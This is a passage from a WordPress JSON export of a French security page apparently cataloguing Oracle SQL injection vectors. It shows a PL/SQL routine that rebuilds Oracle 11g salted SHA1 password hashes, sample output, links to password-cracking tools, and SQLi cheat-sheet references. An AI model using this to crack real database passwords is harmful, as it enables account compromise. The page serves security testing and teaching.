(lv_hash_value_sh1)))<br \/>\n INTO lv_varchar_key_sh1<br \/>\n FROM dual;<br \/>\n dbms_output.put_line(&#8216;String to encrypt : &#8216;||p_string);<br \/>\n dbms_output.put_line(&#8216;Salt used : &#8216;||rawtohex(p_salt));<br \/>\n dbms_output.put_line(&#8216;SHA1 encryption of password||salt : &#8216;||lv_varchar_key_sh1);<br \/>\n dbms_output.put_line(&#8216;Oracle format : S:&#8217;||upper(lv_varchar_key_sh1)||upper(rawtohex(p_salt)));<br \/>\nend;<\/p>\n<p>[\/sql]<\/p>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<blockquote><p>String to encrypt : password<br \/>\nSalt used : 74D69BAFF4AF846FC6C4<br \/>\nSHA1 encryption of password||salt : f7810c319cf8bd2ef575e0c3b05f6c3110fabf97<br \/>\nOracle format : S:F7810C319CF8BD2EF575E0C3B05F6C3110FABF9774D69BAFF4AF846FC6C4<\/p><\/blockquote>\n<h3>Cassage<\/h3>\n<p>Diff\u00e9rentes solutions permettent de tester la r\u00e9sistance des mots de passe Oracle pour tous types de versions.<\/p>\n<ul>\n<li>Un module Metasploit pour John The Ripper est \u00e9galement disponible\u00a0<a title=\"JTR Oracle Password Cracker\" href=\"http:\/\/www.metasploit.com\/modules\/auxiliary\/analyze\/jtr_oracle_fast\" target=\"_blank\">ici<\/a>.<\/li>\n<li><a title=\"Checkpwd 1.23\" href=\"http:\/\/www.red-database-security.com\/software\/checkpwd.html\" target=\"_blank\">Checkpwd 1.23<\/a>\u00a0est une solution gratuite pour tester la r\u00e9sistance des mots de passe.<\/li>\n<li><a title=\"Comparatif\" href=\"http:\/\/www.red-database-security.com\/whitepaper\/oracle_password_cracker.html\" target=\"_blank\">Comparatif des diff\u00e9rentes solutions<\/a>\u00a0de test des mots de passes Oracle, toutes versions.<\/li>\n<li><a title=\"Oracle password tester\" href=\"http:\/\/www.petefinnigan.com\/cracker-v2.0(1.4).zip\" target=\"_blank\">Pete Finnigan Oracle all version password tester<\/a><\/li>\n<\/ul>\n<h2>Sources &amp; ressources<\/h2>\n<ul>\n<li><a title=\"client9\" href=\"http:\/\/www.client9.com\/2012\/07\/27\/new-techniques-in-sql-obfuscation\/\" target=\"_blank\">New Techniques in SQLi Obfuscation: SQL never before used in SQLi,\u00a0Nick Galbreath, director of engineering at Etsy &#8211; DEFCON20<\/a><\/li>\n<li><a title=\"Websec\" href=\"http:\/\/websec.ca\/kb\/sql_injection\" target=\"_blank\">The Knowledge database of websec by Roberto Salgado<\/a><\/li>\n<li><a title=\"PentestMonkey\" href=\"http:\/\/pentestmonkey.net\/cheat-sheet\/sql-injection\/oracle-sql-injection-cheat-sheet\" target=\"_blank\">Oracle SQL Injection cheat sheet &#8211; PentestMonkey<\/a><\/li>\n<li><a title=\"SecList\" href=\"http:\/\/seclists.org\/fulldisclosure\/2007\/Sep\/480\" target=\"_blank\">Oracle 11g password algorithm revealed &#8211; SecList<\/a><\/li>\n<li><a title=\"Pete Finnigan\" href=\"http:\/\/www.petefinnigan.com\/\" target=\"_blank\">Pete Finnigan Oracle Security<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>Introduction Ce document recense de mani\u00e8re synth\u00e9tique et la plus compl\u00e8te possible, l\u2019ensemble des vecteurs d\u2019attaque pour des injections SQL [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1269,"parent":0,"menu_order":3,"comment_status":"open","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-612","page","type-page","status-publish","has-post-thumbnail","hentry"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages\/612","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=612"}],"version-history":[{"count":31,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages\/612\/revisions"}],"predecessor-version":[{"id":1754,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages\/612\/revisions\/1754"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1269"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=612"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}